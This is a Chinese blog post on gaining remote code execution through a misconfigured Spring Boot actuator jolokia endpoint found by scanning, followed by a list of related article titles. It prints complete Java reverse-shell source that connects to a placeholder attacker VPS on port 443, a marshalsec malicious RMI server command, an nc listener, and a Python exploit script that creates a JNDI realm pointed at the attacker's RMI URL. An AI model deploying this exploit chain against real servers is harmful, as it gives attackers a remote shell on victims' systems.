Springboot之actuator配置不当漏洞RCE(jolokia)
日穿扫描扫到一个spring boot actuator
可以看到有jolokia这个端点,再看下jolokia/list,存在type=MBeanFactory 关键字
可以使用jolokia-realm-jndi-rce具体步骤如下
先用python3开一个web服务
python3 -m http.server 8080
编译java利用代码
/*** javac -source 1.5 -target 1.5 JNDIObject.java** Build By LandGrey* */import java.io.File;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;public class JNDIObject {static {try{String ip = "your-vps-ip";String port = "443";String py_path = null;String[] cmd;if (!System.getProperty("os.name").toLowerCase().contains("windows")) {String[] py_envs = new String[]{"/bin/python", "/bin/python3", "/usr/bin/python", "/usr/bin/python3", "/usr/local/bin/python", "/usr/local/bin/python3"};for(int i = 0; i < py_envs.length; ++i) {String py = py_envs[i];if ((new File(py)).exists()) {py_path = py;break;}}if (py_path != null) {if ((new File("/bin/bash")).exists()) {cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/bash\")"};} else {cmd = new String[]{py_path, "-c", "import pty;pty.spawn(\"/bin/sh\")"};}} else {if ((new File("/bin/bash")).exists()) {cmd = new String[]{"/bin/bash"};} else {cmd = new String[]{"/bin/sh"};}}} else {cmd = new String[]{"cmd.exe"};}Process p = (new ProcessBuilder(cmd)).redirectErrorStream(true).start();Socket s = new Socket(ip, Integer.parseInt(port));InputStream pi = p.getInputStream();InputStream pe = p.getErrorStream();InputStream si = s.getInputStream();OutputStream po = p.getOutputStream();OutputStream so = s.getOutputStream();while(!s.isClosed()) {while(pi.available() > 0) {so.write(pi.read());}while(pe.available() > 0) {so.write(pe.read());}while(si.available() > 0) {po.write(si.read());}so.flush();po.flush();Thread.sleep(50L);try {p.exitValue();break;} catch (Exception e) {}}p.destroy();s.close();}catch (Throwable e){e.printStackTrace();}}
}
javac -source 1.5 -target 1.5 JNDIObject.java
架设恶意 rmi 服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://vps:8080/#JNDIObject 1389
监听端口
nc -lvp 443
执行exp
#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txtimport requestsurl = 'http://127.0.0.1:8080/jolokia'create_realm = {"mbean": "Tomcat:type=MBeanFactory","type": "EXEC","operation": "createJNDIRealm","arguments": ["Tomcat:type=Engine"]
}wirte_factory = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "contextFactory","value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}write_url = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "WRITE","attribute": "connectionURL","value": "rmi://your-vps-ip:1389/JNDIObject"
}stop = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "stop","arguments": []
}start = {"mbean": "Tomcat:realmPath=/realm0,type=Realm","type": "EXEC","operation": "start","arguments": []
}flow = [create_realm, wirte_factory, write_url, stop, start]for i in flow:print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))r = requests.post(url, json=i)r.json()print(r.status_code)
python3 springboot-realm-jndi-rce.py
然后等两秒shell就回来了
Springboot之actuator配置不当漏洞RCE(jolokia)相关推荐
- Springboot之actuator配置不当漏洞(autoconfig、configprops、beans、dump、env、health、info、mappings、metrics、trace)
前言 Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看.统计等.在 Actuator ...
- Springboot之Actuator信息泄露漏洞利用
0x01 什么是Actuator Spring Boot Actuator 模块提供了健康检查,审计,指标收集,HTTP 跟踪等,是帮助我们监控和管理Spring Boot 应用的模块.这个模块采集应 ...
- Springboot之Actuato介绍及漏洞
Spring Boot Actuator 可以帮助你监控和管理 Spring Boot 应用,比如健康检查.审计.统计和 HTTP 追踪等.所有的这些特性可以通过 JMX 或者 HTTP endpoi ...
- SpringBoot集成Actuator端点配置
1.说明 Actuator端点可以监控应用程序并与之交互. Spring Boot包括许多内置的端点, 比如health端点提供基本的应用程序运行状况信息, 并允许添加自定义端点. 可以控制每个单独的 ...
- php目录遍历漏洞复现,nginx解析漏洞,配置不当,目录遍历漏洞环境搭建、漏洞复现...
nginx解析漏洞,配置不当,目录遍历漏洞复现 1.Ubuntu14.04安装nginx-php5-fpm 安装了nginx,需要安装以下依赖 sudo apt-get install libpcre ...
- Redis 配置不当致使 root 被提权漏洞
漏洞描述 Redis 服务因配置不当,可被攻击者恶意利用.黑客借助 Redis 内置命令,可将现有数据恶意清空:如果 Redis 以 root 身份运行,黑客可往服务器上写入 SSH 公钥文件,直接登 ...
- Redis配置不当致使root被提权漏洞
Redis配置不当致使root被提权漏洞 Dear all~ 最近Redis服务被曝出因配置不当,可能造成数据库被恶意清空,或被黑客利用写入后门文件造成进一步入侵,请关注! 一.漏洞发布日期 2015 ...
- 9月29 Redis配置不当致使root被提权漏洞 | Found a swap file by the name swp
1.Redis配置不当致使root被提权漏洞 建议修复方案(需要重启redis才能生效) 1.绑定需要访问数据库的IP 修改 redis.conf 中的 "bind 127.0.0.1&qu ...
- springboot的自动配置原理
SpringBoot中的默认配置 通过刚才的学习,我们知道@EnableAutoConfiguration会开启SpringBoot的自动配置,并且根据你引入的依赖来生效对应的默认配置.那么问题来了: ...
最新文章
- 如何在Keras中检查深度学习模型(翻译)
- 分布式任务队列 Celery — 深入 Task
- hive表级权限控制_Hive权限控制和超级管理员的实现
- 如何通过VPC在本机搭建局域网
- C++ Primer 5th笔记(10)chapter10 泛型算法 :迭代器
- 计算机技能需求新排名:C语言仅排第 8,第 1 名你想不到!
- 【BZOJ1257】余数之和sum,数论练习之取值讨论
- LeetCode 775. Global and Local Inversions
- Mono 的Virtual PC 虚拟机
- ios官方菜单项目重点剖析附项目源码
- 【bzoj1951】【古代猪文】Lucas定理+欧拉定理+孙子定理
- 创业6年,网络营销真的很重要
- Java编程基础12——Eclipse使用Object类型
- bzoj 1260涂色 题解
- 计算机组成原理 — PCI-E 外设接口标准
- Codeforces 833D Red-Black Cobweb 边分治
- 转:走向自治:关于德鲁克的五个关键词
- Opncv 实现拍照、颜色识别和阈值选取
- vue小项目整理—main.js(一)
- VaR 与 CVaR